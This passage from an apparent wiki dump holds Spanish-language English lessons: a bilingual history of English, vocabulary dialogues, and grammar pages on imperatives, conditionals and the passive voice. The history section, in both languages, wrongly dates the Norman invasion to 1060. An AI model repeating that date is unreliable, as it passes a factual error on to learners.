In 1060, the Normans invaded the island. They spoke a French dialect which became the language used by the new aristocracy. This change meant that Old English was no longer a prestigious language, and so it broke into multitude of dialects. The language that was spoken and written at this time is referred to as '''Middle English'''. Chaucer's masterpiece, ''The Canterbury Tales,'' was written in vernacular Middle English during the fourteenth century.

Toward the end of fifteenth century, Gutenberg's printing press helped the English dialect used by the London aristocracy to spread throughout the country and to become the standard.  In this '''Modern English''', there were more than ten thousand words taken from French. (This influx of French vocabulary is due to the earlier Norman influence.) The order of the words in the sentence became more rigid, very similar to the way it is today.

The global reach of the English Language today is largely due to the successful expansion of British sovereignty. For example, English became the dominant language in North America (the US and most of Canada), Australia, and New Zealand. It has also become the language of business in India, Pakistan, and parts of Africa. Today it is often referred to as the 'lingua franca', meaning that it is the language most likely to be used among people who do not share a native language. 

The English language has continued to grow by taking words from other languages whenever they seem suitable, and regularly inventing new words. There is no official body that attempts to restrict the growth of the language and, consequently, the English spoken today has an enormous number of distinct words. Besides this, the language has developed slightly differently in each of those countries where it is the majority or official language. There exist words that are familiar to an Australian English speaker that cannot be understood by an American citizen and so on. This presents both a challenge and an opportunity to the English language student. In truth, the differences in the English used around the world are very small and the similarities are enormous - a woman from Ireland will have no trouble understanding a man from the deep south of the United States. The beauty of the large vocabulary is that one can almost always make himself understood.

El idioma inglés ha cambiado considerablemente durante su historia. Según el Venerable Beda, las tribus del norte (anglos, sajones y jutos) invadieron las islas británicas en el año 450 d. C. Cada una de estas tribus se estableció en diferentes áreas y hablaba diferentes dialectos germánicos. Sin embargo, se cree que durante los siglos IX y X, uno de esos idiomas se estandarizó. Ahora conocemos este estándar como inglés antiguo. El inglés también fue influenciado por: el latín, que se usaba en los servicios cristianos; por el danés, traído por los vikingos al norte; y algunas palabras celtas fueron tomadas de los nativos que vivían en las Islas Británicas antes de la llegada de los anglosajones.

En 1060, los normandos invadieron la isla. Hablaban un dialecto francés que se convirtió en el idioma utilizado por la nueva aristocracia. Este cambio significó que el inglés antiguo ya no era un idioma prestigioso, por lo que se rompió en multitud de dialectos. El idioma que se habló y escribió en este momento se conoce como inglés medio. La obra maestra de Chaucer, Los cuentos de Canterbury, fue escrita en inglés medio vernáculo durante el siglo XIV.

Hacia fines del siglo XV, la imprenta de Gutenberg ayudó a que el dialecto inglés utilizado por la aristocracia londinense se extendiera por todo el país y se convirtiera en el estándar. En este inglés moderno, había más de diez mil palabras tomadas del francés. (Esta afluencia de vocabulario francés se debe a la influencia normanda anterior). El orden de las palabras en la oración se volvió más rígido, muy similar a como es hoy.

El alcance global del idioma inglés en la actualidad se debe en gran parte a la exitosa expansión de la soberanía británica. Por ejemplo, el inglés se convirtió en el idioma dominante en América del Norte (EE. UU. Y la mayor parte de Canadá), Australia y Nueva Zelanda. También se ha convertido en el idioma de los negocios en India, Pakistán y partes de África. Hoy en día a menudo se lo conoce como la 'lengua franca', lo que significa que es el idioma que más probablemente se use entre las personas que no comparten un idioma nativo.

El idioma inglés ha seguido creciendo tomando palabras de otros idiomas siempre que parecen adecuadas e inventando nuevas palabras con regularidad. No existe un organismo oficial que intente restringir el crecimiento del idioma y, en consecuencia, el inglés que se habla hoy tiene una enorme cantidad de palabras distintas. Además de esto, el idioma se ha desarrollado de manera ligeramente diferente en cada uno de los países donde es el idioma mayoritario u oficial. Existen palabras que son familiares para un hablante de inglés australiano que un ciudadano estadounidense no puede entender, etc. Esto presenta tanto un desafío como una oportunidad para el estudiante de inglés. En verdad, las diferencias en el inglés que se usa en todo el mundo son muy pequeñas y las similitudes son enormes: una mujer de Irlanda no tendrá problemas para entender a un hombre del sur profundo de los Estados Unidos. La belleza del extenso vocabulario es que uno casi siempre puede hacerse entender.

== Vocabulary - Vocabulario ==
'''AD''' = ''Anno domini'' (después de Cristo)

'''Century''' = siglo</text>
      <sha1>pal2lzohcyw5544f0a4rqkwexvvqudk</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/De compras</title>
    <ns>0</ns>
    <id>2666</id>
    <revision>
      <id>429835</id>
      <parentid>371949</parentid>
      <timestamp>2026-08-01T22:03:45Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429835</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1315" sha1="gti7nh57n6noat504l9gir4t76ed2wg" xml:space="preserve">== Dialogue A==
A: I went '''shopping''' at the '''supermarket'''.

B: Really! What did you '''buy'''?

A: Nothing. I wanted to buy a car, but they didn't '''sell''' any. They only '''rent''' them.


=== Vocabulary A ===

'''shopping'''  - de compras

'''supermarket''' -  supermercado

'''buy''' - comprar

'''sell''' - vender

'''rent''' - rentar, alquilar

'''rental''' - de alquiler, de renta

'''Purchasing''' - procuramiento

'''lend''' - prestar (prestador)

'''borrow''' - prestar (pedidor)

== Dialogue B==

(In a '''shop''': &quot;A&quot; is a '''customer''' and &quot;B&quot; is an '''employee''').

A: Excuse me, how much does this product '''cost'''?

B: Five hundred dollars.

A: That's too '''expensive'''. Do you have a '''cheap'''er one?

B: We have this one. It costs one hundred and fifty dollars.

A: Wonderful. May I pay with a '''credit card'''?

B: I'm sorry, we only accept '''cash'''.


===Vocabulary B===

'''shop''' tienda, Taller

'''store''' tienda

'''customer''' cliente

'''employee''' empleado

'''cost''' costar

'''clerk''' dependiente

'''waiter''' camarero(a)

'''expensive''' caro

'''inexpensive''' barato

'''cheap''' barato (vulgar)

'''pay''' pagar, pago

'''credit card''' tarjeta de crédito

'''cash''' en efectivo

'''market'''mercado


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>gti7nh57n6noat504l9gir4t76ed2wg</sha1>
    </revision>
    <revision>
      <id>429875</id>
      <parentid>429835</parentid>
      <timestamp>2026-08-01T22:09:00Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429875</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1275" sha1="1k2m6nckgt98yfmtr8pfarvmsfw1ibe" xml:space="preserve">== Dialogue A==
A: I went '''shopping''' at the '''supermarket'''.

B: Really! What did you '''buy'''?

A: Nothing. I wanted to buy a car, but they didn't '''sell''' any. They only '''rent''' them.


=== Vocabulary A ===

'''shopping'''  - de compras

'''supermarket''' -  supermercado

'''buy''' - comprar

'''sell''' - vender

'''rent''' - rentar, alquilar

'''rental''' - de alquiler, de renta

'''Purchasing''' - procuramiento

'''lend''' - prestar (prestador)

'''borrow''' - prestar (pedidor)

== Dialogue B==

(In a '''shop''': &quot;A&quot; is a '''customer''' and &quot;B&quot; is an '''employee''').

A: Excuse me, how much does this product '''cost'''?

B: Five hundred dollars.

A: That's too '''expensive'''. Do you have a '''cheap'''er one?

B: We have this one. It costs one hundred and fifty dollars.

A: Wonderful. May I pay with a '''credit card'''?

B: I'm sorry, we only accept '''cash'''.


===Vocabulary B===

'''shop''' tienda, Taller

'''store''' tienda

'''customer''' cliente

'''employee''' empleado

'''cost''' costar

'''clerk''' dependiente

'''waiter''' camarero(a)

'''expensive''' caro

'''inexpensive''' barato

'''cheap''' barato (vulgar)

'''pay''' pagar, pago

'''credit card''' tarjeta de crédito

'''cash''' en efectivo

'''market'''mercado


{{AutoCat}}</text>
      <sha1>1k2m6nckgt98yfmtr8pfarvmsfw1ibe</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/El estudiante</title>
    <ns>0</ns>
    <id>2667</id>
    <revision>
      <id>429840</id>
      <parentid>164773</parentid>
      <timestamp>2026-08-01T22:04:10Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429840</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="991" sha1="fl08z4te1z4ncqt2f3jlw342rd5a3v8" xml:space="preserve">==Dialogue==
A:What are you '''study'''ing?

B: I am studying English language.

A: How many '''subjects''' do you do?

B:I do seven subjects.

A: have you finished your '''exams''' yet?

B:Yes, I have. But, I still have to prepare an '''essay''' and two '''oral presentation'''s.

A: Do you know your '''grades'''?

B: Not yet. Maybe next week. My '''teacher'''s are '''grading''' the exams right now.

==Vocabulary==

'''subjects''': asignaturas o materias (Ej. La asignatura de Matemáticas o la materia de Matemáticas)

'''to study''': estudiar

'''exam or test''': examen

'''essay''': ensayo. En este caso se refiere a la escritura sobre un tema. Muy distinto al &quot;ensayo&quot; teatral o ''Rehearsal'' 

'''oral presentation''': presentación oral en clase del trabajo delante del profesor y de los demás alumnos.

'''grades''': notas o calificaciones.

'''teacher''': profesor

'''professor''': catedrático

'''to grade''': corregir


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>fl08z4te1z4ncqt2f3jlw342rd5a3v8</sha1>
    </revision>
    <revision>
      <id>429878</id>
      <parentid>429840</parentid>
      <timestamp>2026-08-01T22:09:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429878</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="951" sha1="rgkmrvqidofj2911oud1szbpqbhg0u6" xml:space="preserve">==Dialogue==
A:What are you '''study'''ing?

B: I am studying English language.

A: How many '''subjects''' do you do?

B:I do seven subjects.

A: have you finished your '''exams''' yet?

B:Yes, I have. But, I still have to prepare an '''essay''' and two '''oral presentation'''s.

A: Do you know your '''grades'''?

B: Not yet. Maybe next week. My '''teacher'''s are '''grading''' the exams right now.

==Vocabulary==

'''subjects''': asignaturas o materias (Ej. La asignatura de Matemáticas o la materia de Matemáticas)

'''to study''': estudiar

'''exam or test''': examen

'''essay''': ensayo. En este caso se refiere a la escritura sobre un tema. Muy distinto al &quot;ensayo&quot; teatral o ''Rehearsal'' 

'''oral presentation''': presentación oral en clase del trabajo delante del profesor y de los demás alumnos.

'''grades''': notas o calificaciones.

'''teacher''': profesor

'''professor''': catedrático

'''to grade''': corregir


{{AutoCat}}</text>
      <sha1>rgkmrvqidofj2911oud1szbpqbhg0u6</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/El imperativo</title>
    <ns>0</ns>
    <id>2668</id>
    <revision>
      <id>429800</id>
      <parentid>330099</parentid>
      <timestamp>2026-08-01T21:59:41Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429800</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3920" sha1="0eyc6iub7eikn4b5nm16e4rpsjyc7n8" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
==Definición==
El imperativo se forma con la base del verbo, sin sujeto, aunque la expresión se dirige siempre a una segunda persona, ya sea singular o plural. Sabemos a quién nos referimos por el contexto, o bien por alguna referencia explícita que puede aparecer junto al verbo en imperativo. Véanse algunos ejemplos:


*'''Shut up!''' (Plural, referido a varios oyentes).

*'''Shut up!''' (Singular, referido a sólo un oyente).

*'''You, guys, shut up!'''. (plural)

*'''You, Peter, shut up!'''. (singular)


El imperativo se usa para dar órdenes e instrucciones. Por ejemplo:

*'''Speak up!''' ¡Habla más fuerte!

*'''Shut up!''' ¡Cállate / callaos!

*'''Sit down!''' ¡Siéntate / sentaos!

*'''Stand up!''' ¡Levántate / levantaos!

*'''Wake up!''' ¡Despierta / despertad!


Para las órdenes negativas utilizamos '''Don't + verbo''':


*'''Don't shout!''' ¡No grites / gritéis!

*'''Don't open the window!''' ¡No abras / abráis la ventana!

==FORMA IMPERATIVA DEL VERBO==

*Estas palabras un poco altisonantes sirven para disimular la realidad de las cosas. Esta ''forma imperativa'' indica precisamente la forma verbal que le sirve a usted o a nosotros para '''ordenar a otro''' lo que sea.


*De lo primero que nos damos cuenta al ordenar una cosa es que sólo podemos dirigirnos a una segunda persona (tú, usted; vosotros, ustedes). La orden es entonces '''directa''', pues es imposible dirigirnos a una tercera persona directamente; se convertiría en segunda, como es lógico. Necesitamos dirigirnos a una segunda persona para poder ordenar indirectamente a una tercera.


*Tampoco usted puede ordenarse a sí mismo. 


*Quedamos pues, que cuando tratemos de verbos en su forma imperativa, ésta se refiere única y exclusivamente a la segunda persona del singular o del plural. Dicho de otra forma: Una orden ha de dirigirse a la persona que debe obedecerla.


*En inglés, la cosa es muy sencilla: Tome usted el infinitivo del verbo que le convenga, elimine la partícula '''to''' y ya está.


*'''Go''' (ve, vaya, id, vayan).
*'''Come''' (ven, venga, venid, vengan).
*'''Drink''' (bebe, beba, bebed, beban).
*'''Jump''' (salta, salte, saltad, salten).


*Cuando la orden es negativa:


*Anteponga la partícula '''do''' y la negativa '''not''':


*'''Do not go''' (no vayas, no vaya, no vayáis, no vayan).
*'''Do not drink''' (no bebas, no beba, no bebáis, no beban).
*'''Do not jump''' (no saltes, no salte, no saltéis, no salten).


*Bueno -se dirá usted-; pero ha de haber una forma u otra para expresar una orden o un deseo referido a nosotros mismos o bien a terceras personas. Claro está; los ingleses se auxilian con el verbo '''to let''', equivalente a ''dejar'', ''conceder'', ''permitir''.


*Recuerde ahora lo dicho antes: Suprimimos la partícula '''to''' del infinitivo y tenemos el imperativo en segunda persona. Por tanto...


*'''Let''' equivale a decir ''Deje'', ''Permita'', ''Conceda''.


*Así, de una forma discreta, elegante, '''ordenamos''' a esa segunda persona que nos '''permita''' hacer a nosotros lo que precisamos.


*Vea a continuación la forma imperativa del verbo '''to go''' (ir), de la que hemos eliminado la segunda persona del singular y plural:


*LET me go - déjeme ir
*LET him go - déjele ir o ¡vaya él!
*LET her go - déjela ir o ¡vaya ella!
*LET it go - déjelo, la ir o ¡vaya!
*LET us go - déjenos ir o ¡vámonos!
*LET them go - déjelos, las ir o ¡vayan ellos, ellas!


*No debe ponerse pronombre cuando el imperativo (la orden) se refiere a segundas personas.


*Si prefiere suavizar dicha orden, puede anteponer '''Please,''' o bien convertir la orden mediante una pregunta en una exhortación, en un ruego... Así, por ejemplo:


*'''Please, come in!''' (Por favor, entre)
*'''Come in, will you?''' (Entre usted, ¿quiere?)


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>0eyc6iub7eikn4b5nm16e4rpsjyc7n8</sha1>
    </revision>
    <revision>
      <id>429881</id>
      <parentid>429800</parentid>
      <timestamp>2026-08-01T22:09:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429881</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3880" sha1="twfe7xvnd319v2b8e5bc1nlccu5249v" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
==Definición==
El imperativo se forma con la base del verbo, sin sujeto, aunque la expresión se dirige siempre a una segunda persona, ya sea singular o plural. Sabemos a quién nos referimos por el contexto, o bien por alguna referencia explícita que puede aparecer junto al verbo en imperativo. Véanse algunos ejemplos:


*'''Shut up!''' (Plural, referido a varios oyentes).

*'''Shut up!''' (Singular, referido a sólo un oyente).

*'''You, guys, shut up!'''. (plural)

*'''You, Peter, shut up!'''. (singular)


El imperativo se usa para dar órdenes e instrucciones. Por ejemplo:

*'''Speak up!''' ¡Habla más fuerte!

*'''Shut up!''' ¡Cállate / callaos!

*'''Sit down!''' ¡Siéntate / sentaos!

*'''Stand up!''' ¡Levántate / levantaos!

*'''Wake up!''' ¡Despierta / despertad!


Para las órdenes negativas utilizamos '''Don't + verbo''':


*'''Don't shout!''' ¡No grites / gritéis!

*'''Don't open the window!''' ¡No abras / abráis la ventana!

==FORMA IMPERATIVA DEL VERBO==

*Estas palabras un poco altisonantes sirven para disimular la realidad de las cosas. Esta ''forma imperativa'' indica precisamente la forma verbal que le sirve a usted o a nosotros para '''ordenar a otro''' lo que sea.


*De lo primero que nos damos cuenta al ordenar una cosa es que sólo podemos dirigirnos a una segunda persona (tú, usted; vosotros, ustedes). La orden es entonces '''directa''', pues es imposible dirigirnos a una tercera persona directamente; se convertiría en segunda, como es lógico. Necesitamos dirigirnos a una segunda persona para poder ordenar indirectamente a una tercera.


*Tampoco usted puede ordenarse a sí mismo. 


*Quedamos pues, que cuando tratemos de verbos en su forma imperativa, ésta se refiere única y exclusivamente a la segunda persona del singular o del plural. Dicho de otra forma: Una orden ha de dirigirse a la persona que debe obedecerla.


*En inglés, la cosa es muy sencilla: Tome usted el infinitivo del verbo que le convenga, elimine la partícula '''to''' y ya está.


*'''Go''' (ve, vaya, id, vayan).
*'''Come''' (ven, venga, venid, vengan).
*'''Drink''' (bebe, beba, bebed, beban).
*'''Jump''' (salta, salte, saltad, salten).


*Cuando la orden es negativa:


*Anteponga la partícula '''do''' y la negativa '''not''':


*'''Do not go''' (no vayas, no vaya, no vayáis, no vayan).
*'''Do not drink''' (no bebas, no beba, no bebáis, no beban).
*'''Do not jump''' (no saltes, no salte, no saltéis, no salten).


*Bueno -se dirá usted-; pero ha de haber una forma u otra para expresar una orden o un deseo referido a nosotros mismos o bien a terceras personas. Claro está; los ingleses se auxilian con el verbo '''to let''', equivalente a ''dejar'', ''conceder'', ''permitir''.


*Recuerde ahora lo dicho antes: Suprimimos la partícula '''to''' del infinitivo y tenemos el imperativo en segunda persona. Por tanto...


*'''Let''' equivale a decir ''Deje'', ''Permita'', ''Conceda''.


*Así, de una forma discreta, elegante, '''ordenamos''' a esa segunda persona que nos '''permita''' hacer a nosotros lo que precisamos.


*Vea a continuación la forma imperativa del verbo '''to go''' (ir), de la que hemos eliminado la segunda persona del singular y plural:


*LET me go - déjeme ir
*LET him go - déjele ir o ¡vaya él!
*LET her go - déjela ir o ¡vaya ella!
*LET it go - déjelo, la ir o ¡vaya!
*LET us go - déjenos ir o ¡vámonos!
*LET them go - déjelos, las ir o ¡vayan ellos, ellas!


*No debe ponerse pronombre cuando el imperativo (la orden) se refiere a segundas personas.


*Si prefiere suavizar dicha orden, puede anteponer '''Please,''' o bien convertir la orden mediante una pregunta en una exhortación, en un ruego... Así, por ejemplo:


*'''Please, come in!''' (Por favor, entre)
*'''Come in, will you?''' (Entre usted, ¿quiere?)


{{AutoCat}}</text>
      <sha1>twfe7xvnd319v2b8e5bc1nlccu5249v</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Condicionales</title>
    <ns>0</ns>
    <id>2684</id>
    <revision>
      <id>429798</id>
      <parentid>166554</parentid>
      <timestamp>2026-08-01T21:59:31Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429798</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1308" sha1="nxve465eqqbj1v75vb1za6nn5bc9y5n" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;

== Con pequeños desperfectos ==
{| align=center border=1
|SUBJECT
|'''would'''
|VERB (+ COMPLEMENTS)
|'''if'''
|[subject
|verb (+ complements)]
|}

{| align=center border=1
| I
|rowspan=2| '''would''' 
| do it
|rowspan=2| '''if''' 
|someone
|agrees
|- 
| You
| come
|they
|decide it
|}

{| align=center border=1
|SUBJECT
|'''would have'''
|PARTICIPLE (+ COMPLEMENTS)
|'''if'''
|[subject
|'''had + PAST VERB''' 
|(+ complements)]
|}

{| align=center border=1
| I
|rowspan=2| '''would have''' 
| done it
|rowspan=2| '''if''' 
|everyone
|had agreed
|- 
| You
|come
|they
|had decided it
|}

== EN CONSTRUCCIÓN==
{| align=center border=1
|'''Would'''
|SUBJECT
|VERB (+ 
|'''if'''
|[subject
|verb (+ complements)]
|'''?'''
|}

{| align=center border=1
|rowspan=2| '''Would''' 
| you
| do it
|rowspan=2| '''if''' 
|everyone
|agrees
|rowspan=2| '''?''' 
|- 
| he
| come
|they
|decide it
|}

{| align=center border=1
|'''Would''' 
|SUBJECT
|'''have'''
|PARTICIPLE (+ COMPLEMENTS)
|'''if'''
|[subject
|'''had + PAST VERB''' 
|(+ complements)] ?
|}

{| align=center border=1
|rowspan=2| '''Would''' 
|you
|rowspan=2| '''have''' 
| done it
|rowspan=2| '''if''' 
|everyone
|rowspan=2| '''had''' 
|agreed
|rowspan=2| '''?''' 
|- 
| he
|come
|they
|decided it
|}

{{AutoCat}}</text>
      <sha1>nxve465eqqbj1v75vb1za6nn5bc9y5n</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Buscando empleo</title>
    <ns>0</ns>
    <id>3004</id>
    <revision>
      <id>429832</id>
      <parentid>353203</parentid>
      <timestamp>2026-08-01T22:03:31Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429832</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1532" sha1="klc73wyxec5ordyvdbd66dck2yvsscc" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
== Asking about a job ==

'''Jobseeker''': Hello.

Shopkeeper: Hi. How may I help you?

Jobseeker: I saw the '''advertisement''' for a '''job''' in your shop´s window.

Shopkeeper: I see. Would you like '''to apply for the position'''?

Jobseeker: Yes. Do you have an '''application form'''?

Shopkeeper: Certainly. Here you go, please fill it up and then we proceed with an interview.

Jobseeker: Thank you very much.

== Vocabulary ==
'''jobseeker''' alguien que busca de empleo

'''advertisement''' anuncio

'''job''' trabajo, empleo

'''apply for the position''' solicitar el puesto de trabajo

'''application form''' formulario de solicitud

=== Additional vocabulary ===

'''job center''' centro de empleo

'''job hunt''' buscar trabajo

'''jobless''' parado, desempleado

'''unemployed''' parado, desempleado

'''Social Security''' Seguridad Social

'''labor union''' sindicato

'''position''' puesto/posición

'''resume''' Carta de vida(curriculum vitae)

'''office''' oficina

'''now hiring''' contratando

'''help wanted / needed''' buscando ayuda / se solicita

'''workplace''' lugar de trabajo

'''profession''' oficio

=== Professions ===


'''cook''' cocinero


'''-er'''

'''bak&lt;u&gt;er&lt;/u&gt;''' panadero, pastelero.

'''driv&lt;u&gt;er&lt;/u&gt;''' conductor. '''bus~''' autobusero '''taxi~''' taxista

'''garden&lt;u&gt;er&lt;/u&gt;''' jardinero

'''teach&lt;u&gt;er&lt;/u&gt;''' profesor (¡ojo!, no confundir con '''professor''', que significa catedrático).

'''shopkeep&lt;u&gt;er&lt;/u&gt;''' comerciante

{{AutoCat}}</text>
      <sha1>klc73wyxec5ordyvdbd66dck2yvsscc</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Colores</title>
    <ns>0</ns>
    <id>3010</id>
    <revision>
      <id>429834</id>
      <parentid>410096</parentid>
      <timestamp>2026-08-01T22:03:40Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429834</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1004" sha1="h4z7b8unottt2xayfkm9zqhmn0c6n3a" xml:space="preserve">{| border=&quot;1&quot; align=&quot;center&quot;
!Español
!Inglés [http://www.youtube.com/watch?v=cUA_vxpTYxY Escuchar]
!Color
|-
|Rojo
|Red ([[Media:en-us-red.ogg|escuchar]])
|bgcolor=&quot;#ff1122&quot;|
|-
|Naranja
|Orange ([[Media:en-ca-orange.ogg|escuchar]])
|bgcolor=&quot;#ff9955&quot;|
|-
|Amarillo
|Yellow ([[Media:en-uk-yellow.ogg|escuchar]])
|bgcolor=&quot;#ffff44&quot;|
|-
|Verde
|Green ([[Media:en-us-green.ogg|escuchar]])
|bgcolor=&quot;#11bb33&quot;|
|-
|Azul
|Blue ([[Media:en-us-blue.ogg|escuchar]])
|bgcolor=&quot;#1144bb&quot;|
|-
|Púrpura/Violeta
|Purple/Violet ([[Media:en-uk-violet.ogg|escuchar]])
|bgcolor=&quot;#884499&quot;|
|-
|Rosa
|Pink ([[Media:en-uk-pink.ogg|escuchar]])
|bgcolor=&quot;#ff8899&quot;|
|-
|Marrón
|Brown ([[Media:en-us-brown.ogg|escuchar]])
|bgcolor=&quot;#993300&quot;|
|-
|Negro
|Black ([[Media:en-uk-black.ogg|escuchar]])
|bgcolor=&quot;#000000&quot;|
|-
|Gris
|Grey/gray ([[Media:en-us-grey.ogg|escuchar]])
|bgcolor=&quot;#bbbbbb&quot;|
|-
|Blanco
|White ([[Media:en-us-white.ogg|escuchar]])
|bgcolor=&quot;#ffffff&quot;|
|-
|}

[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>h4z7b8unottt2xayfkm9zqhmn0c6n3a</sha1>
    </revision>
    <revision>
      <id>429879</id>
      <parentid>429834</parentid>
      <timestamp>2026-08-01T22:09:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429879</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="964" sha1="nv6cw4t6rpv548bmr08porbkqwthb50" xml:space="preserve">{| border=&quot;1&quot; align=&quot;center&quot;
!Español
!Inglés [http://www.youtube.com/watch?v=cUA_vxpTYxY Escuchar]
!Color
|-
|Rojo
|Red ([[Media:en-us-red.ogg|escuchar]])
|bgcolor=&quot;#ff1122&quot;|
|-
|Naranja
|Orange ([[Media:en-ca-orange.ogg|escuchar]])
|bgcolor=&quot;#ff9955&quot;|
|-
|Amarillo
|Yellow ([[Media:en-uk-yellow.ogg|escuchar]])
|bgcolor=&quot;#ffff44&quot;|
|-
|Verde
|Green ([[Media:en-us-green.ogg|escuchar]])
|bgcolor=&quot;#11bb33&quot;|
|-
|Azul
|Blue ([[Media:en-us-blue.ogg|escuchar]])
|bgcolor=&quot;#1144bb&quot;|
|-
|Púrpura/Violeta
|Purple/Violet ([[Media:en-uk-violet.ogg|escuchar]])
|bgcolor=&quot;#884499&quot;|
|-
|Rosa
|Pink ([[Media:en-uk-pink.ogg|escuchar]])
|bgcolor=&quot;#ff8899&quot;|
|-
|Marrón
|Brown ([[Media:en-us-brown.ogg|escuchar]])
|bgcolor=&quot;#993300&quot;|
|-
|Negro
|Black ([[Media:en-uk-black.ogg|escuchar]])
|bgcolor=&quot;#000000&quot;|
|-
|Gris
|Grey/gray ([[Media:en-us-grey.ogg|escuchar]])
|bgcolor=&quot;#bbbbbb&quot;|
|-
|Blanco
|White ([[Media:en-us-white.ogg|escuchar]])
|bgcolor=&quot;#ffffff&quot;|
|-
|}

{{AutoCat}}</text>
      <sha1>nv6cw4t6rpv548bmr08porbkqwthb50</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Voz pasiva</title>
    <ns>0</ns>
    <id>3011</id>
    <revision>
      <id>429819</id>
      <parentid>282822</parentid>
      <timestamp>2026-08-01T22:01:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429819</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1652" sha1="gis20i5v7iwadqs4wqi978jnpv5dnux" xml:space="preserve">USOS:
1) Se utiliza cuando, el sujeto de la oración, cumple dos condiciones:

a) no realiza acción (sujeto pasivo) 

b) sufre/recibe la acción del verbo.

2) También se puede utilizar esta estructura cuando no se conoce o no interesa mencionar quién realiza la acción del verbo (Ej. &quot;Han roto la puerta&quot;, &quot;Me han enviado una carta&quot;).

ESTRUCTURA:
Sujeto + To Be (en el tiempo que corresponda) + Participio Pasado (Verbo Principal)
El Complemento Agente es un elemento exclusivo de la oración pasiva. Nos indica quién realiza la acción del verbo y siempre va precedido por la preposición BY

EJEMPLOS:

1) The pizza is eaten by us. &gt; &quot;La pizza es comida por nosotros.&quot;

2) I was given a book. &gt; &quot;Me dieron un libro.&quot;

CAMBIAR DE ACTIVA A PASIVA:
El procedimiento es simple, siguiendo los siguientes pasos:

1) Localizamos el Complemento directo de la activa. Éste será el Sujeto Pasivo

2) Verbo: To Be (en el tiempo de la activa) + Participio Pasado Verbo de la Activa

3) Si lo deseamos, convertimos el Sujeto Activo en Complemento Agente, anteponiéndole BY.

DOBLE PASIVA:
Según la definición, el sujeto pasivo es aquel que sufre o recibe la acción del verbo. Por lo tanto, en oraciones con doble complemento (Directo e Indirecto) a partir de una oración activa podemos obtener 2 oraciones pasivas,
Ejemplo
&quot;I gave John a book&quot;
1) A book was given to John, el sujeto es al C.Directo de la oración activa
2) John was given a book, el sujeto es el C.Indirecto de la oración activa

Se prefiere transformar el complemento indirecto en sujeto a transformar el complemento directo.


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>gis20i5v7iwadqs4wqi978jnpv5dnux</sha1>
    </revision>
    <revision>
      <id>429932</id>
      <parentid>429819</parentid>
      <timestamp>2026-08-01T22:09:19Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429932</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1612" sha1="qp4odum7lseh7jwh1505vc35ev1yxbd" xml:space="preserve">USOS:
